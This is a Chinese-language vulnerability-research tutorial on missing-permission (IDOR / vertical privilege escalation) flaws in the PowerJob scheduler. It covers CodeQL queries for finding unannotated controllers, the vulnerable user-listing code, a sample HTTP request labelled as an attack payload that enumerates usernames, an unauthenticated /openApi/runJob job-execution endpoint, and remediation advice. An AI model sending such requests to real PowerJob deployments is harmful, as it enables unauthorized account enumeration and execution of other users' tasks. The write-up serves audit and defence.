PowerJob IDOR 0Day 挖掘
字数 1329 2025-10-01 14:05:44

PowerJob IDOR 0Day 挖掘与分析教学文档

1. 背景介绍

PowerJob 是一款知名的国产分布式任务调度中间件。本文档针对其 IDOR(不安全的直接对象引用)漏洞进行技术分析,重点讲解鉴权机制的缺陷与漏洞挖掘方法。


2. 鉴权分析

2.1 核心鉴权机制

PowerJob 使用 @ApiPermission 注解进行接口权限控制,通过 requiredPermission 字段定义权限级别。权限定义如下:

权限级别 数值 描述
NONE 1 不需要权限
READ 10 读权限,查看控制台数据
WRITE 20 写权限,新增/修改任务等
OPS 30 运维权限,比如任务的执行
SU 100 超级权限

2.2 鉴权特点

  • 相同权限级别的资源间不存在隔离机制
  • 主要风险在于垂直越权(低权限用户访问高权限功能)

3. CodeQL 脚本编写

3.1 基础谓词定义

predicate isController(Method m) {
    exists(Annotation a |
        a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "GetMapping") or
        a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "PostMapping") or
        a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "RequestMapping") or
        a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "PutMapping") or
        a.getType().hasQualifiedName("org.springframework.web.bind.annotation", "DeleteMapping")
        | a = m.getAnAnnotation()
    )
}

predicate hasApiPermission(Method m) {
    exists(Annotation a|
        a.getType().hasQualifiedName("tech.powerjob.server.auth.interceptor", "ApiPermission")
        | a = m.getAnAnnotation()
    )
}

3.2 特定控制器过滤

排除认证和测试接口:

predicate isSpecController(Method m) {
    isController(m) and
    not m.getDeclaringType().hasName("AuthController") and
    not m.getDeclaringType().hasName("TestController")
}

3.3 完整查询语句

/**
 * @name Controller methods missing security annotations
 * @description Finds controller methods that lack ApiPermission annotation
 * @kind problem
 * @problem.severity warning
 * @id java/controller/missing-security
 */
import java

from Method m
where isSpecController(m) and not hasApiPermission(m)
select m, "Controller method '" + m.getName() + "' is missing ApiPermission annotation"

4. 漏洞发现

4.1 UserInfoController#list 漏洞

位置: tech.powerjob.server.web.controller.UserInfoController#list

漏洞代码:

@GetMapping("/list")
public ResultDTO<List<UserBaseVO>> list(@RequestParam(required = false) String name) {
    List<UserInfoDO> result;
    if (StringUtils.isEmpty(name)) {
        result = userInfoRepository.findAll();
    }else {
        result = userInfoRepository.findByUsernameLike("%" + name + "%");
    }
    return ResultDTO.success(convert(result));
}

漏洞描述:

  • 接口未添加 @ApiPermission 注解
  • 允许未授权用户枚举系统所有用户名
  • 属于垂直越权漏洞

攻击Payload:

GET /user/list HTTP/1.1
Host: localhost:7700
sec-ch-ua: "Chromium";v="140", "Not=A?Brand";v="24", "Google Chrome";v="140"
AppId: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36
sec-ch-ua-platform: "Windows"
Accept: application/json, text/plain, */*
Sec-Fetch-Mode: cors
sec-ch-ua-mobile: ?0
Accept-Language: zh-CN,zh;q=0.9
Accept-Encoding: gzip, deflate, br, zstd
Sec-Fetch-Dest: empty
Referer: http://localhost:7700/
Sec-Fetch-Site: same-origin

4.2 OpenAPIController 漏洞集

位置: tech.powerjob.server.openapi.OpenAPIController

受影响接口:

  • /openApi/runJob - 未授权执行任务
  • 其他类似接口存在相同问题

漏洞影响:

  • 允许攻击者修改和执行他人的调度任务
  • 危害等级:高危

5. 漏洞修复建议

  1. 为所有控制器接口添加合适的 @ApiPermission 注解
  2. 实施最小权限原则,为每个接口分配最低必要权限
  3. 增加水平权限检查,确保用户只能访问自己权限范围内的资源
  4. 定期进行安全审计,使用CodeQL等工具进行自动化检测

6. 总结

  1. 内网服务安全性:内网服务往往在功能性优先的情况下忽视安全性,鉴权功能是审计重点
  2. 审计方法论:使用CodeQL进行自动化漏洞挖掘是有效的审计方法
  3. 模式复用:类似的审计方法可用于其他调度框架(如XXL-Job)的安全检测
  4. 漏洞类型:虽然某些漏洞看似"鸡肋",但仍属于安全缺陷,需要及时修复

附录:技术要点

  1. CodeQL数据库创建命令:

    codeql database create cq-db --language=java \
    --command="mvn clean install -DskipTests -Drat.skip=true" \
    --source-root=. --overwrite
    
  2. 项目地址: https://github.com/PowerJob/PowerJob

  3. 漏洞类型: IDOR(不安全的直接对象引用)、垂直越权

通过本教学文档,安全研究人员可以掌握使用CodeQL进行Java Web应用权限漏洞挖掘的方法,并了解PowerJob框架的具体安全缺陷及其修复方案。

PowerJob IDOR 0Day 挖掘与分析教学文档 1. 背景介绍 PowerJob 是一款知名的国产分布式任务调度中间件。本文档针对其 IDOR(不安全的直接对象引用)漏洞进行技术分析,重点讲解鉴权机制的缺陷与漏洞挖掘方法。 2. 鉴权分析 2.1 核心鉴权机制 PowerJob 使用 @ApiPermission 注解进行接口权限控制,通过 requiredPermission 字段定义权限级别。权限定义如下: | 权限级别 | 数值 | 描述 | |----------|------|------| | NONE | 1 | 不需要权限 | | READ | 10 | 读权限,查看控制台数据 | | WRITE | 20 | 写权限,新增/修改任务等 | | OPS | 30 | 运维权限,比如任务的执行 | | SU | 100 | 超级权限 | 2.2 鉴权特点 相同权限级别的资源间不存在隔离机制 主要风险在于垂直越权(低权限用户访问高权限功能) 3. CodeQL 脚本编写 3.1 基础谓词定义 3.2 特定控制器过滤 排除认证和测试接口: 3.3 完整查询语句 4. 漏洞发现 4.1 UserInfoController#list 漏洞 位置 : tech.powerjob.server.web.controller.UserInfoController#list 漏洞代码 : 漏洞描述 : 接口未添加 @ApiPermission 注解 允许未授权用户枚举系统所有用户名 属于垂直越权漏洞 攻击Payload : 4.2 OpenAPIController 漏洞集 位置 : tech.powerjob.server.openapi.OpenAPIController 受影响接口 : /openApi/runJob - 未授权执行任务 其他类似接口存在相同问题 漏洞影响 : 允许攻击者修改和执行他人的调度任务 危害等级:高危 5. 漏洞修复建议 为所有控制器接口添加合适的 @ApiPermission 注解 实施最小权限原则 ,为每个接口分配最低必要权限 增加水平权限检查 ,确保用户只能访问自己权限范围内的资源 定期进行安全审计 ,使用CodeQL等工具进行自动化检测 6. 总结 内网服务安全性 :内网服务往往在功能性优先的情况下忽视安全性,鉴权功能是审计重点 审计方法论 :使用CodeQL进行自动化漏洞挖掘是有效的审计方法 模式复用 :类似的审计方法可用于其他调度框架(如XXL-Job)的安全检测 漏洞类型 :虽然某些漏洞看似"鸡肋",但仍属于安全缺陷,需要及时修复 附录:技术要点 CodeQL数据库创建命令 : 项目地址 : https://github.com/PowerJob/PowerJob 漏洞类型 : IDOR(不安全的直接对象引用)、垂直越权 通过本教学文档,安全研究人员可以掌握使用CodeQL进行Java Web应用权限漏洞挖掘的方法,并了解PowerJob框架的具体安全缺陷及其修复方案。